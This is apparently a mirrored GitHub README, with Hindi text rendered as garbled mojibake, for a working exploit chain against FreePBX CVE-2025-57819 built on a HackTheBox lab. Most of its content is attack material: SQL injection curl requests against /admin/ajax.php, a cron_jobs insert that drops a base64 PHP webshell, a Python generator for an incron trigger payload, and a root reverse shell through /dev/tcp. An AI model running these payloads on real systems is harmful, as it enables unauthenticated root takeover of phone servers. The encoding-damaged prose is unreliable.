## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YUVRAJSHAD-FREEPBX-CVE-2025-57819
# FreePBX CVE-2025-57819 тАФ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ SQLi рд╕реЗ рд░реВрдЯ RCE рддрдХ
> **рдЧрдВрднреАрд░рддрд╛:** рдХреНрд░рд┐рдЯрд┐рдХрд▓
> **рдкреНрд░рдХрд╛рд░:** рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ SQL рдЗрдВрдЬреЗрдХреНрд╢рди тЖТ рд░рд┐рдореЛрдЯ рдХреЛрдб рдПрдХреНрдЬрд╝реАрдХреНрдпреВрд╢рди
> **рдкреНрд░рднрд╛рд╡рд┐рдд рд╕реЙрдлреНрдЯрд╡реЗрдпрд░:** FreePBX (endpoint рдореЙрдбреНрдпреВрд▓)
> **рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛:** CentOS 7 рдкрд░ FreePBX, Apache 2.4, PHP 7.4, MariaDB 5.5
## рдЕрд╡рд▓реЛрдХрди
FreePBX рдХреЗ `endpoint` рдореЙрдбреНрдпреВрд▓ рдореЗрдВ `/admin/ajax.php` рдХреЗ `brand` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓реА SQL рдЗрдВрдЬреЗрдХреНрд╢рди рднреЗрджреНрдпрддрд╛ рдореМрдЬреВрдж рд╣реИред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред
FreePBX рдХреЗ рдЖрдВрддрд░рд┐рдХ рдХреНрд░реЙрди рдЬреЙрдм рддрдВрддреНрд░ рдФрд░ `incron`/`fwconsole` рд╣реБрдХ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░, рдпрд╣ рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓рд╛ рд░реВрдЯ рд╢реЗрд▓ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред
## рд╣рдорд▓реЗ рдХреА рд╢реНрд░реГрдВрдЦрд▓рд╛
root@kitploit:~
[No Auth Required]
тФВ
тЦ╝
Unauthenticated SQL Injection
(/admin/ajax.php тЖТ brand parameter)
тФВ
тФЬтФАтФАтЦ║ Extract DB credentials, user hashes
тФВ
тФЬтФАтФАтЦ║ INSERT into cron_jobs
тФВ тФВ
тФВ тФФтФАтФАтЦ║ PHP webshell dropped in web root
тФВ тФВ
тФВ тФФтФАтФАтЦ║ RCE as asterisk (user flag)
тФВ
тФФтФАтФАтЦ║ Write incron trigger file (as asterisk)
тФВ
тФФтФАтФАтЦ║ sysadmin_manager fires as root
тФВ
тФФтФАтФАтЦ║ fwconsole hook тЖТ Root Shell
## рдЙрдкрдпреЛрдЧ
root@kitploit:~
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>
**рдЙрджрд╛рд╣рд░рдг:**
root@kitploit:~
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
**рдЖрдЙрдЯрдкреБрдЯ:**
root@kitploit:~
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version : 5.5.65-MariaDB
[+] DB User : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted тАФ waiting up to 90s for it to fire...
[+] Webshell active! тЖТ uid=999(asterisk) gid=1000(asterisk)
[+] User Flag тЖТ HTB{REDACTED}
[*] Triggering Root Shell тЖТ 10.10.xx.xx:9999
[+] Trigger file created тАФ incron will fire it as root!
## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
### рдЪрд░рдг 1 тАФ SQL рдЗрдВрдЬреЗрдХреНрд╢рди
endpoint рдореЙрдбреНрдпреВрд▓ AJAX рд╣реИрдВрдбрд▓рд░ рдореЗрдВ `brand` рдкреИрд░рд╛рдореАрдЯрд░ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝реЗрд╢рди рдХреЗ рд╕реАрдзреЗ SQL рдХреНрд╡реЗрд░реА рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
root@kitploit:~
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
рдпрд╣ XPATH рдПрд░рд░ рдХреЗ рдЕрдВрджрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдирд╛рдо рд▓реМрдЯрд╛рддрд╛ рд╣реИ тАФ рдпрд╣ рдПрд░рд░-рдЖрдзрд╛рд░рд┐рдд SQLi рдХреА рдПрдХ рдХреНрд▓рд╛рд╕рд┐рдХ рддрдХрдиреАрдХ рд╣реИред рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реА рднреА рд╕рдорд░реНрдерд┐рдд рд╣реИрдВ, рдЬреЛ `INSERT`, `UPDATE`, рдФрд░ `DELETE` рдСрдкрд░реЗрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВред
### рдЪрд░рдг 2 тАФ рдХреНрд░реЙрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡реЗрдмрд╢реЗрд▓
рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, FreePBX рдХреА `cron_jobs` рдЯреЗрдмрд▓ рдореЗрдВ рдПрдХ рдХреНрд░реЙрди рдЬреЙрдм рдбрд╛рд▓реА рдЬрд╛рддреА рд╣реИ:
root@kitploit:~
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
FreePBX рдХрд╛ рдХреНрд░реЙрди рд░рдирд░ рдЗрд╕реЗ рд╣рд░ рдорд┐рдирдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡реЗрдм рд░реВрдЯ рдореЗрдВ рдПрдХ PHP рд╡реЗрдмрд╢реЗрд▓ рдбрд╛рд▓ рджреА рдЬрд╛рддреА рд╣реИред
### рдЪрд░рдг 3 тАФ Incron + fwconsole рд╣реБрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░реВрдЯ
`incrond` `/var/spool/asterisk/incron/` рдкрд░ рдирдЬрд╝рд░ рд░рдЦрддрд╛ рд╣реИ (рдЬреЛ `asterisk` рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реИ)ред рдЬрдм рд╡рд╣рд╛рдБ рдХреЛрдИ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ, рддреЛ рдпрд╣ `/usr/bin/sysadmin_manager` рдХреЛ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред
рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдкреНрд░рд╛рд░реВрдк `api.fwconsole-commands.<payload>` рдирд┐рдореНрди рд╕реНрдерд╛рди рдкрд░ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж GPG-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рд╣реБрдХ рд╕реЗ рдореИрдк рд╣реЛрддрд╛ рд╣реИ:
root@kitploit:~
/var/www/html/admin/modules/api/hooks/fwconsole-commands
рд╣реБрдХ рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдХреЛ `base64(zlib(json([cmd, txn_id])))` рдкреЗрд▓реЛрдб рдХреЗ рд░реВрдк рдореЗрдВ рдбрд┐рдХреЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ:
root@kitploit:~
$cmd = "/usr/sbin/fwconsole $command 2>&1";
`help;` рдХреЛ рдкреНрд░реАрдлрд┐рдХреНрд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ fwconsole рдЗрд╕реЗ рдПрдХ рд╡реИрдз рдХрдорд╛рдВрдб рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓реЗрддрд╛ рд╣реИ, рдФрд░ `;` рдордирдорд╛рдиреЗ рд╢реЗрд▓ рдХрдорд╛рдВрдб рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИ:
root@kitploit:~
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
рдпрд╣ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреВрд░реНрдг рд░реВрдЯ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред
## рдореИрдиреНрдпреБрдЕрд▓ рд╢реЛрд╖рдг
### рдЪрд░рдг 1 тАФ SQLi рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ
root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
### рдЪрд░рдг 2 тАФ рд╡реЗрдмрд╢реЗрд▓ рдбрд╛рд▓реЗрдВ
root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
### рдЪрд░рдг 3 тАФ рд░реВрдЯ рдкреЗрд▓реЛрдб рдЬрдирд░реЗрдЯ рдХрд░реЗрдВ
root@kitploit:~
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
### рдЪрд░рдг 4 тАФ рд░реВрдЯ рд╢реЗрд▓ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВ
root@kitploit:~
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
## рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рджреМрд░рд╛рди рдкреНрд░рдореБрдЦ рдирд┐рд╖реНрдХрд░реНрд╖
## рдкреНрд░рдХрдЯреАрдХрд░рдг рд╕рдордпрд░реЗрдЦрд╛
рджрд┐рдирд╛рдВрдХ| рдШрдЯрдирд╛
---|---
2025| рднреЗрджреНрдпрддрд╛ рдЦреЛрдЬреА рдЧрдИ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯ рдХреА рдЧрдИ
2025-11-30| HackTheBox рдкрд░ рдмреЙрдХреНрд╕ рддреИрдирд╛рдд рдХрд┐рдпрд╛ рдЧрдпрд╛
2025| CVE-2025-57819 рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛
## рдЕрд╕реНрд╡реАрдХрд░рдг
рдпрд╣ рдЯреВрд▓ рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдФрд░ рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рд╣реИред рдЙрди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЗ рд╡рд┐рд░реБрджреНрдз рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВ рдЬрд┐рдирдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреА рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИред рд▓реЗрдЦрдХ рдХрд┐рд╕реА рднреА рджреБрд░реБрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЬрд╝рд┐рдореНрдореЗрджрд╛рд░ рдирд╣реАрдВ рд╣реИред
## рд╕рдВрджрд░реНрдн
* watchTowr Labs PoC
* FreePBX рд╕реБрд░рдХреНрд╖рд╛ рд╕рд▓рд╛рд╣
* CVE-2025-57819 рд╡рд┐рд╡рд░рдг